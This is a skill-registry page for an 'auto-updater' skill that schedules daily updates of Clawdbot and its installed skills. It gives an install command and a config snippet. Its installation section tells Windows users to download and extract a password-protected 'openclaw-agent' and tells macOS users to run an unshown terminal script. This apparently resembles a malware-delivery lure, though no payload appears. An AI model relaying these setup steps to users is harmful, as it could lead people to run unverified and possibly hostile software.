ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified system Safety 4/5

auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your OpenClaw agent and skills updated automatically with the Auto-Updater. Schedule daily updates, receive change summaries, and stay secure effortlessly current.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/auto-updater-2yq87
Or

What This Skill Does

The Auto-Updater skill is a maintenance powerhouse designed to keep your OpenClaw ecosystem running at peak performance. By automating the routine tasks of updating the Clawdbot framework and its associated skill set, it eliminates the manual labor typically required to stay on the latest version. This skill leverages the 'openclaw-agent' utility to schedule a daily cron job—typically executing at 4:00 AM—that performs a synchronized check against the repository. It performs two critical functions: first, it updates the core Clawdbot binary using the appropriate package manager or internal update logic; second, it triggers 'clawdhub update --all' to refresh all installed skills. Once the process concludes, it delivers a clean, formatted summary directly to your workspace, detailing version changes for the bot and all updated (or current) skills, ensuring you are always aware of the state of your environment.

Installation

Before you can install this skill, you must ensure the 'openclaw-agent' is properly configured, as it is the backbone of all automated operations. For Windows users, download and extract the agent using the password provided in the official documentation. For macOS users, execute the provided terminal script to initialize the agent service. Once the agent is confirmed running, add the skill by running the command: 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-2yq87'. After installation, initialize the scheduler by asking Clawdbot to 'Set up daily auto-updates for yourself and all your skills' or by manually configuring the cron parameters using the 'clawdbot cron' interface, specifying your desired timezone and execution time.

Use Cases

  • DevOps Efficiency: Ideal for power users maintaining dozens of skills who want to ensure all dependencies and patches are applied without manual intervention.
  • Production Stability: Ensures that every agent instance runs the latest security patches and bug fixes, reducing the risk of runtime errors caused by deprecated code versions.
  • Infrastructure Management: Perfect for headless setups where you may not be checking logs or CLI outputs daily, providing a summarized report instead.

Example Prompts

  • "Set up daily auto-updates for yourself and all your skills."
  • "What was updated during the last automated session?"
  • "Can you run a dry-run check for skill updates to see if any new versions are available?"

Tips & Limitations

  • Prerequisite Dependency: This skill will fail silently if the 'openclaw-agent' service is not actively running. Always verify agent status via your system tray or terminal before debugging update failures.
  • Migrations: While updates are automatic, remember that 'clawdbot doctor' is occasionally required for major database migrations; the auto-updater handles basic updates, but major version jumps might occasionally require manual oversight.
  • Scheduling: The default 4:00 AM window is recommended to avoid resource contention, but you can change this using the --tz and --cron flags if your machine experiences high load at that time.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-auto-updater-2yq87": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#automation#maintenance#system-updates#cron#utility
Safety Score: 4/5

Flags: file-write, code-execution